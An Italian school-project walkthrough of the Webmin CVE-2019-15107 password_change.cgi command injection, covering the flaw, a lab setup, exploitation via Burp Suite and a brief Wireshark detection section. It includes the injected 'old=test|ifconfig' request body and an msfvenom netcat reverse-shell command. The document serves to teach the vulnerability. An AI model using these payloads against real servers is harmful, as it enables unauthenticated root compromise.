
progetto scolastico
I. Panoramica su CVE-2019-15107
Webmin è un'interfaccia web per l'amministrazione di sistema per Unix. Utilizzando qualsiasi browser web, è possibile configurare account utente, Apache, DNS, condivisione file e molto altro.
Il 10 agosto 2019, il ricercatore di sicurezza informatica turco Özkan Mustafa Akkuş ha divulgato la vulnerabilità Zero-day al DefCon; oltre alla divulgazione, Akkuş ha anche rilasciato un modulo Metasploit per automatizzare lo sfruttamento di questa vulnerabilità. A causa di una vulnerabilità di esecuzione di codice nella funzione di reimpostazione della password del file password_change.cgi, questa vulnerabilità consente a terzi di eseguire codice dannoso senza autenticazione dell'input.
II. Versioni interessate
Questa vulnerabilità interessa le versioni di Webmin da 1.882 a 1.921. Per prevenire questa vulnerabilità, chi utilizza Webmin dovrebbe aggiornare all'ultima versione 1.93.
III. Analisi della vulnerabilità
In Webmin, la funzionalità "consenti modifica password utente" deve essere abilitata per sfruttare questa vulnerabilità. Questa è l'unica condizione; tuttavia, molti amministratori Webmin attivano questa funzionalità. Essa consente agli utenti di impostare una nuova password con la vecchia password. Nel codice sorgente di Webmin, ci sono diversi file ".cgi" degni di nota. Uno di questi è password_change.cgi.

C'è un solo requisito affinché i parametri in questo file funzionino: il valore "passwd_mode" nel file di configurazione "miniserv.conf" deve essere impostato su "2".

A questo punto, utilizzeremo "|" leggendo il file /etc/shadow durante la verifica della vecchia password. Ad esempio, il comando normale di cambio password:

Se inseriamo un semplice comando come "ifconfig" nel comando di cambio password come mostrato sotto, il comando "ipconfig" viene eseguito e il risultato viene visualizzato.

IV. Modello di deployment
Macchina Ubuntu (vittima) con Webmin versione 1.920 installato, indirizzo IP: 192.168.109.128

Macchina Kali (attaccante) con indirizzo IP: 192.168.109.131

Poiché questa CVE sfrutta la funzionalità di reimpostazione della password quando la vecchia password è scaduta in Webmin, la vittima deve configurare Webmin in modalità "Prompt users with expired password to enter a new one".

V. Sfruttamento della vulnerabilità CVE
Come primo passo, la macchina attaccante utilizza Burp Suite per intercettare le richieste inviate durante il cambio password su Webmin dal link: 192.168.109.128:10000/password_change.cgi (IP della vittima)

Successivamente, la macchina attaccante invia questa richiesta nella scheda Repeater di Burp Suite per testare la vulnerabilità.

L'attaccante modifica alcune informazioni dal pacchetto di richiesta intercettato. Poiché per cambiare password il metodo HTTP deve essere POST e non GET come inizialmente.

Quindi la macchina attaccante invia una richiesta di prova per cambiare password dalla vecchia password al server Webmin della vittima:
“user=test&pam=&old=test&new1=test2&new2=test2”

Quando inviamo la richiesta, riceviamo un messaggio che indica che la vecchia password non corrisponde (The current password is incorrect), quindi il punto cruciale è il parametro “old”
Successivamente, proviamo a inserire un comando di base come ifconfig dopo il parametro old, in modo che quando il server verifica la vecchia password, esegua anche il comando inserito. Ad esempio:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

Analogamente, quando il server verifica la vecchia password, è ancora errata, ma dopo la verifica, il comando “ifconfig” viene eseguito e visualizzato.
Successivamente, per ottenere i privilegi di root, utilizziamo Metasploit framework per creare un payload da inviare al server Webmin della vittima per ricevere una shell session.
“msfvenom -p cmd/unix/reverse_netcat lhost= lport=”

Successivamente, copiamo il payload e lo inseriamo nella richiesta su Burp Suite.

Dopo aver inviato la richiesta contenente il payload al server Webmin, la macchina vittima viene compromessa con una reverse shell. La macchina attaccante riceve una sessione di shell verso la macchina vittima (IP: 192.168.109.128, porta 37218).

In questo modo, abbiamo ottenuto l'accesso root tramite questa vulnerabilità CVE.

VI. Determinazione della firma dell'attacco
Utilizziamo Wireshark per catturare i pacchetti a livello di rete.

Poiché per sfruttare questa CVE, l'attaccante deve basarsi sul link /password_change.cgi per inviare richieste contenenti payload dannosi tramite il metodo POST di HTTP, dobbiamo analizzare i pacchetti HTTP catturati con Wireshark.

Vediamo che il comando “ifconfig” viene inserito durante la verifica della vecchia password da parte del server Webmin.
